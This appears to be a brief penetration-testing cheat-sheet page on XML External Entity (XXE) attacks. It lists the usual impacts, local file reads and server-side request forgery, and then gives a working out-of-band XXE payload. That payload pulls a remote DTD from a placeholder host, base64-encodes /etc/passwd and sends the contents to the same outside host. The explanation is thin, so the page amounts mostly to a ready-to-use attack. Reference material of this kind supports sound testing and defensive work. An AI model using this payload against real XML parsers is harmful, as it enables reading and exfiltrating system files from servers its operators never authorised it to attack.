XXE

XML External Entity

XML External Entity

An XML External Entity attack is a type of attack against an app that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may laed to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.

Impact

  • read local files on the host

  • access to local network via Server Site Request Forgery (SSRF)

// XXE
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % remote SYSTEM "http://ip/evil.dtd">%remote;%param1;]>


dtd:
<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://ip/?x=%data; '>">

Last updated

Was this helpful?